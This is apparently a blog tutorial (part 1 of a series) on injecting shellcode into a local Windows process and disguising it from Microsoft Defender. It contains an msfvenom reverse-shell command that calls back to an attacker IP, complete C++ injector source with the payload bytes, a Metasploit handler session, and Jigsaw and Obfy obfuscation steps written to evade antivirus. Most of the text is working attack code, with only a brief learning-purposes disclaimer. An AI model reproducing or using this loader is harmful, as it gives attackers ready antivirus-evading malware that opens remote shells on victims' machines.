Shellcode Injection Part 1
In this series of articles, we look at shellcode, how to inject it into processes and some techniques for obfuscating binary files. In the first part, we look at how to inject shellcode from a local process. ausführt. In addition, we disguise the program so that Defender no longer recognises it as a threat.
You can find all the required files in the repository
Generate shellcode
Attention!
The techniques and methods in this article are for learning purposes only. Misuse is punishable!
We generate the shellcode with msfvenom
and use the following parameters:
Parameter | Description |
---|---|
-p - Payload | x86 Reverse Shell |
LHOST | IP of the attacker |
LPORT | Listening port of the attacker |
-b - Bad Chars | We have to filter out special characters, as they make the shellcode unusable |
-e - Encode Shellcode | We encode our shellcode |
-i - Iterations | Specifies the number of encoding operations |
-f - Format | The output should be in C format |
> shell.c | Save to the file shell.c |
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c
C++ Injector
We create a new C++ project and insert the shellcode. We also need the size of the bytes. We take this from the msfvenom
output.
- local-process-injection.cpp
#include <stdio.h> #include <Windows.h> //shell.c unsigned const char payload[] = "\xd9\xe9\xbb\x1b\x2c\xe5\xd6\xd9\x74\x24\xf4\x5a\x2b\xc9" "\xb1\x81\x83\xc2\x04\x31\x5a\x14\x03\x5a\x0f\xce\x10\x6e" "\xce\xb6\xb5\x28\xcb\x04\x90\x43\xcf\x7e\x78\x9f\xc6\xce" "\x05\x5c\x33\xcc\xcb\x21\xd3\x2e\x6f\xb6\xd0\x7d\xda\xd1" "\xaf\xa7\x1c\xd8\xfb\xa2\x94\xd6\xb1\xf3\x25\xe5\x3e\xdb" "\x7d\x58\xb1\x51\x2d\x07\x37\x6d\x9b\x0b\xbe\x1c\x57\xcb" "\x7f\x5d\x32\xd5\xd1\x71\x14\x2e\x07\xef\x45\x69\x0c\x3e" "\x8d\xca\xb1\x7d\xc4\x07\x4f\xf7\xd8\xe8\x37\x33\xeb\x67" "\xd8\x97\xb6\xf5\xbf\xde\xb3\xd9\x6a\xf1\x94\x7b\x68\x21" "\xcc\xab\xda\xcd\xd1\x43\xef\x4e\x2a\x1d\xd1\xb7\xec\x24" "\x62\x0b\xc5\x61\x48\xe2\x7c\x9e\x54\x9f\x2d\x8c\x38\x09" "\x23\x13\xb2\x6d\x6f\xe8\xdc\xad\xe3\x99\x14\x89\xca\x07" "\x67\xf2\x09\xdb\x2e\x38\x9f\x2c\xc4\x12\xf5\x18\x94\xf5" "\xb1\xed\x84\x6f\xfe\xbb\x23\xf4\xae\x10\x62\x2f\x63\x2b" "\x6a\x3c\x22\x7a\xd3\x96\x15\x99\xb0\x62\x38\xbe\x93\x1e" "\x72\xcc\xe3\xef\xa9\x9a\xaa\xc9\xda\xd5\x09\xed\x4f\xb2" "\x61\x18\x48\x9c\x0b\x45\xcb\xab\xaf\x91\x20\xc2\x66\x39" "\xac\x66\xd2\x21\x83\x13\xb4\x12\xcb\x39\x55\x20\x19\xff" "\xa3\x8b\xaa\x6e\x3e\x90\x31\x49\x19\x74\x7f\x1f\x89\xfe" "\x89\xdd\x65\xa2\x5b\xa0\x13\xe4\x6b\x18\x99\xde\xfc\x63" "\x9e\x9b\x7b\x6d\x65\x6d\xf4\x5b\x39\x08\x89\xb1\x85\xd8" "\x6a\x29\x88\x5a\xdd\x14\x8e\xb9\xc0\xae\x63\x89\xbe\x13" "\xa6\xf3\xc2\x19\xa8\x41\x5d\xf7\x11\x02\x45\xd3\xec\xa1" "\x88\x13\x57\xb7\x0b\x7d\x79\x5a\x0c\x60\xde\x6b\x6c\x4c" "\x61\xe3\x74\x88\xbd\x6a\xda\x43\xca\xb8\xe4\x07\xd4\x5a" "\x92\x04\xd9\x18\xb0\x57\x8d\xf3\x87\x65\x56\x06\x21\xb3" "\x02\x9b\xc4\x87\x56\xed\x6b\xef\xbb\x9f\x21\xbf\x7f\x12" "\x4d\x3b\xdc\xf7\x4c\xc6\xf5\xe7\x30\x05\x87\x7f\x7c\x19" "\x72\x86\x62\xc4\x7a\x8f\xd6\xc9\x19\xe8\x6e\xa7\x54\x04" "\xd9\xbf\x94\x69\xeb\x41\x64\xac\xd5\xe4\x47\xfe\x5d\x2d" "\x90\xf9\xea\x18\x62\x76\x01\xe6\xc3\xe5\xd6\xfa\x32\x22" "\xc0\xf6\x86\x5f\x16\x3a\x4a\x1e\x59\xe3\x0c\x4b\x69\xd2" "\x6d\x80\xef\x45\x49\xc2\x36\xe5\x78\x72\x55\xf3\x4d\xbe" "\xbb\xac\x88\xcc\x8d\xcb\xc1\x6f\x40\xd7\x54\x7e\xa2\x5d" "\xcc\x6a\xdc\x99\x59\x67\x84\xb4\x05\xba\x33\x43\x48\xb5" "\x9b\x22\xa7\xc6\x06\xf6\x36\x3f\x4b\x29\xf8\x66\xa8\xfb" "\x55\x5f\x07\xa4\xfd\x5f\x98\x69\x71\xcc\xb6\x2f\x6e\x9d" "\xf1\xe6\x99\x70\x04\x05\x47\xb3\x1e\xe3\xb7\xa9\x6f\x42" "\xb1\xda\xeb\x37\x61\x5e\x20\x23"; //size is given by msfvenom after shellcode creation size_t size = 540; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(code, payload, size); ((void(*)())code)(); return(0); }
Analyse shellcode
After compiling, we load inject.exe
in the debugger and take a close look at the shellcode. This gives us a rough overview of how it works.
Prepare Metasploit
Now we start a handler in Metasploit that accepts the reverse shell.
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lport 445 lport => 445 msf6 exploit(multi/handler) > set lhost 172.23.61.130 lhost => 172.23.61.130 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 172.23.61.130:445
Execute shellcode
We now start Inject.exe
and look at the output in Metasploit and the process details on the victim machine.
Under the Defender radar
Inject.exe
is of course easily recognised by anti-virus software. We therefore have to disguise the shellcode. We do this with the tool jigsaw 1) tool and the Obfy framework.
Cloaking shellcode - Jigsaw
First we create the shellcode in raw format:
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.61.130 LPORT=445 -e x86/shikata_ga_nai -i 8 -b '\x00\x0d\x0a' -f raw > shell.raw
Then we pass this to Jigsaw:
python3 jigsaw.py shell.raw
and get a file with C++ code.
unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, ... 401, 459, 65, 118, 356, 42, 182, 220 }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; // Reconstruct the payload for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; }
- Inject.cpp
#include <stdio.h> #include <Windows.h> size_t size = 540; unsigned char jigsaw[540] = { 0x32, 0x87, 0xbe, 0x4b, 0x6c, 0xad, 0xc2, 0xd3, 0xd5, 0x21, 0x1c, 0x57, 0x93, 0xae, 0x39, 0x2c, 0x27, 0xce, 0xeb, 0x99, 0xa8, 0xf4, 0xbf, 0x14, 0x31, 0x2a, 0xc5, 0xeb, 0x48, 0x11, 0xd8, 0x49, 0xf0, 0x93, 0x5b, 0xb9, 0x69, 0xf8, 0x73, 0x80, 0xe4, 0x3f, 0xa6, 0xa6, 0x3a, 0xf5, 0x56, 0x12, 0x7c, 0xe4, 0x72, 0xbb, 0x13, 0x5b, 0xc5, 0x40, 0xf0, 0x01, 0x6f, 0x0b, 0x35, 0xc2, 0x1c, 0x2d, 0x76, 0xeb, 0x9e, 0xd8, 0xd6, 0x39, 0x7c, 0x61, 0x7e, 0xc7, 0x16, 0x69, 0x0e, 0x1c, 0x78, 0xb0, 0xa3, 0x36, 0x5b, 0x6f, 0xbc, 0xa0, 0x2e, 0x63, 0xe4, 0x7f, 0xea, 0x13, 0x2c, 0xaa, 0x6c, 0xbf, 0xdb, 0x4a, 0x69, 0xaa, 0x4d, 0x71, 0xd6, 0x4c, 0x61, 0x65, 0x59, 0xc3, 0x5f, 0x43, 0xf3, 0x94, 0xdf, 0x59, 0x8d, 0xbb, 0x25, 0x8f, 0x6f, 0x17, 0x1d, 0xd7, 0xa1, 0xef, 0x9b, 0xe0, 0x31, 0x15, 0x36, 0xe2, 0x5c, 0xa5, 0x94, 0x60, 0x01, 0x2b, 0x08, 0x01, 0x9f, 0xa1, 0x14, 0x2b, 0x86, 0x1f, 0xbf, 0xd1, 0x0f, 0xbf, 0x03, 0x28, 0xc1, 0x10, 0x4d, 0x66, 0x32, 0xd0, 0xcb, 0x4e, 0x34, 0xdf, 0xeb, 0x99, 0xf2, 0x14, 0x3f, 0x4c, 0xf8, 0xed, 0xc1, 0xbd, 0x0e, 0x9b, 0xc1, 0x57, 0xd5, 0x1d, 0x01, 0xf5, 0x79, 0xd1, 0xc4, 0xea, 0xc0, 0xcf, 0x0c, 0xea, 0x05, 0x9d, 0x8c, 0x8d, 0x9a, 0x2d, 0x94, 0x5b, 0x05, 0xde, 0x37, 0xa6, 0x17, 0x80, 0x07, 0x83, 0x6a, 0x2d, 0xe4, 0xd5, 0xc3, 0x85, 0x71, 0x2a, 0xa4, 0x3d, 0xf6, 0x5c, 0xc8, 0x6c, 0x6a, 0x86, 0xf3, 0x5c, 0x67, 0x4d, 0xdc, 0x11, 0xff, 0x81, 0xce, 0x3b, 0x9c, 0x4d, 0x98, 0xe8, 0xd4, 0x6a, 0x3e, 0x4b, 0x51, 0xd5, 0x4c, 0xfc, 0xe4, 0x8e, 0x6a, 0xc1, 0x63, 0x54, 0x7f, 0x61, 0xa4, 0x42, 0x60, 0xb5, 0x4d, 0x92, 0xd9, 0x08, 0x22, 0x23, 0xbe, 0x82, 0x9f, 0x4c, 0xeb, 0x8c, 0x3a, 0x6e, 0x88, 0xd0, 0x5a, 0xe0, 0xae, 0x42, 0x38, 0x4d, 0x31, 0xd0, 0xe6, 0x72, 0x54, 0xb3, 0x2b, 0x8d, 0x2f, 0xca, 0x38, 0x92, 0xe6, 0x38, 0xfd, 0xa1, 0x9c, 0x70, 0xd0, 0xe5, 0xb5, 0xff, 0xe1, 0x0e, 0x81, 0x4a, 0xc5, 0x67, 0x57, 0x3a, 0x33, 0xa0, 0xc8, 0x7f, 0xe6, 0x6c, 0xf1, 0x77, 0x3d, 0xdd, 0x63, 0xa1, 0xf9, 0x4f, 0x99, 0xf1, 0x8a, 0xb3, 0x60, 0xf6, 0xae, 0x86, 0xd5, 0x3e, 0x61, 0xc4, 0x93, 0xd9, 0x2d, 0xbe, 0xe2, 0xf0, 0xec, 0x13, 0x85, 0x91, 0x8a, 0x95, 0x37, 0x9f, 0x41, 0x43, 0x3c, 0xda, 0x81, 0xb3, 0xf5, 0xa9, 0x5f, 0x3e, 0x06, 0x0e, 0x47, 0x03, 0x5e, 0x28, 0xec, 0x54, 0x9f, 0x95, 0xca, 0x59, 0xee, 0x9a, 0xd2, 0xe5, 0xa4, 0x32, 0xcf, 0xb9, 0xe5, 0xd8, 0x78, 0xe8, 0xb1, 0xa5, 0xee, 0xe5, 0x4e, 0x2c, 0x8b, 0xc3, 0x5b, 0x7d, 0x23, 0x18, 0x64, 0xda, 0x56, 0x59, 0xa9, 0x95, 0x6f, 0x9e, 0x9b, 0x3c, 0xcb, 0x2a, 0x54, 0x6a, 0x5c, 0x25, 0xf6, 0xc1, 0xf9, 0x5c, 0xab, 0xe5, 0xd0, 0x8b, 0xdd, 0xd0, 0x74, 0xda, 0x68, 0x09, 0x52, 0x25, 0xd0, 0xa9, 0xd1, 0xba, 0x9f, 0xcd, 0x41, 0x54, 0x15, 0x12, 0xba, 0xd2, 0xd5, 0xdd, 0x35, 0x76, 0xa8, 0x5a, 0xdc, 0xf0, 0xdb, 0xbd, 0x32, 0x47, 0x6d, 0x4b, 0x89, 0x17, 0xa1, 0x80, 0x46, 0x65, 0x51, 0x4b, 0xca, 0xeb, 0xa4, 0x0c, 0xd9, 0x3c, 0xf4, 0x1e, 0x39, 0xd4, 0x87, 0x91, 0x91, 0xbd, 0x75, 0x24, 0x7a, 0x7b, 0x79, 0x25, 0x7e, 0x2d, 0xc9, 0xd4, 0x73, 0x47, 0x05, 0xe4, 0xed, 0x24, 0x10, 0xbe, 0x15, 0xa5, 0xb0, 0x3a, 0x43, 0x9e, 0xc3, 0xef, 0x5d, 0x57, 0xfe, 0xeb, 0x75, 0x85, 0x11, 0xe7, 0x50, 0xc7, 0x9c, 0x6f, 0xe1, 0x7b, 0x63, 0xcb, 0xbe, 0x17, 0xeb, 0x1e, 0x34, 0x91, 0xf9, 0x50, 0xe5, 0x28, 0x74, 0x9f, 0x3e, 0xe0, 0xe8, 0x83, 0x36, 0xc0, 0x08, 0xcd, 0x8f, 0xa7, 0xb8, 0x32, 0xf4, 0x01, 0x96, 0xd2 }; int positions[540] = { 105, 216, 295, 137, 269, 55, 488, 354, 384, 2, 398, 471, 219, 72, 377, 123, 197, 188, 243, 161, 169, 79, 290, 454, 387, 527, 480, 412, 178, 329, 267, 441, 492, 416, 103, 196, 83, 275, 539, 26, 391, 125, 203, 59, 153, 76, 349, 402, 202, 142, 68, 1, 18, 288, 106, 62, 291, 281, 107, 365, 35, 223, 358, 117, 503, 427, 506, 181, 63, 408, 525, 176, 313, 23, 417, 311, 195, 89, 122, 522, 494, 170, 152, 20, 304, 227, 150, 29, 460, 319, 228, 312, 376, 36, 256, 24, 37, 320, 518, 514, 355, 443, 43, 64, 128, 483, 470, 462, 11, 224, 212, 75, 345, 465, 115, 110, 138, 380, 190, 333, 323, 501, 149, 455, 226, 209, 16, 361, 508, 54, 139, 232, 373, 370, 236, 207, 394, 238, 34, 532, 395, 531, 489, 177, 415, 453, 495, 155, 302, 318, 218, 330, 116, 242, 435, 346, 334, 154, 449, 475, 104, 464, 450, 292, 307, 126, 71, 482, 509, 258, 353, 348, 45, 372, 463, 485, 505, 414, 276, 86, 6, 298, 383, 347, 201, 409, 498, 478, 366, 331, 88, 134, 324, 95, 111, 397, 425, 51, 259, 315, 102, 22, 337, 237, 241, 82, 526, 444, 278, 120, 456, 273, 167, 419, 251, 484, 270, 423, 77, 211, 184, 375, 156, 473, 466, 15, 519, 407, 185, 92, 91, 523, 221, 49, 371, 338, 277, 516, 250, 143, 406, 147, 225, 515, 70, 252, 193, 367, 486, 504, 434, 440, 437, 350, 271, 282, 205, 166, 511, 248, 191, 404, 369, 279, 424, 336, 266, 90, 474, 533, 260, 389, 235, 151, 368, 457, 164, 436, 140, 468, 335, 386, 325, 213, 360, 41, 189, 538, 310, 200, 157, 421, 93, 287, 112, 280, 289, 528, 305, 73, 100, 231, 517, 165, 12, 136, 210, 496, 314, 244, 422, 58, 97, 426, 481, 96, 420, 530, 253, 439, 382, 309, 127, 46, 33, 113, 513, 390, 4, 222, 520, 27, 472, 284, 296, 192, 268, 21, 357, 306, 497, 130, 98, 163, 67, 80, 317, 467, 249, 99, 274, 493, 234, 438, 392, 217, 262, 19, 146, 160, 133, 124, 430, 114, 159, 186, 374, 174, 403, 411, 299, 447, 499, 158, 378, 148, 381, 458, 14, 78, 272, 264, 442, 109, 429, 255, 171, 246, 57, 162, 500, 535, 339, 198, 48, 84, 17, 145, 74, 431, 534, 294, 477, 461, 87, 206, 131, 328, 53, 388, 168, 293, 490, 359, 5, 362, 8, 129, 32, 239, 400, 510, 326, 183, 240, 405, 285, 173, 340, 135, 364, 50, 172, 537, 180, 132, 214, 141, 507, 47, 199, 343, 432, 108, 521, 229, 451, 28, 247, 101, 187, 303, 69, 418, 352, 342, 179, 265, 233, 61, 7, 31, 10, 263, 44, 283, 39, 410, 300, 0, 230, 9, 38, 445, 121, 119, 175, 399, 13, 208, 297, 479, 413, 81, 446, 316, 428, 452, 448, 385, 30, 322, 512, 487, 25, 286, 94, 66, 341, 476, 3, 351, 433, 469, 245, 52, 301, 396, 60, 40, 215, 332, 524, 344, 502, 363, 261, 491, 85, 536, 204, 308, 393, 529, 327, 254, 56, 321, 257, 194, 379, 144, 401, 459, 65, 118, 356, 42, 182, 220 }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); // Reconstruct the payload for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; } code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(code, calc_payload, size); ((void(*)())code)(); return(0); }
However, Jigsaw alone is not enough at this point, as Defender still recognises the file.
Obfy - Obfuscation during compilation
Here we can use the so-called template metaprogramming. Here, source code files are generated during the compilation process, which make the binary file look different with each process. 2)3)
To do this, we download Obfy to include the header file in our project and set the macro instructions to start and end the code obfuscation.
#include <stdio.h> #include <Windows.h> #include "instr.h" size_t size = 540; unsigned char jigsaw[540] = { ... }; int positions[540] = { ... }; int calc_len = 540; unsigned char calc_payload[540] = { 0x00 }; int position; int main(int argc, char** argv) { char* code; // Reconstruct the payload OBF_BEGIN for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) { position = positions[idx]; calc_payload[position] = jigsaw[idx]; } OBF_END code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE); ((void(*)())code)(); return(0); }
Result
Repository
git clone https://github.com/psycore8/nosoc-shellcode
Outlook
In part 2 we will deal with injecting the shellcode into a remote process.
Discussion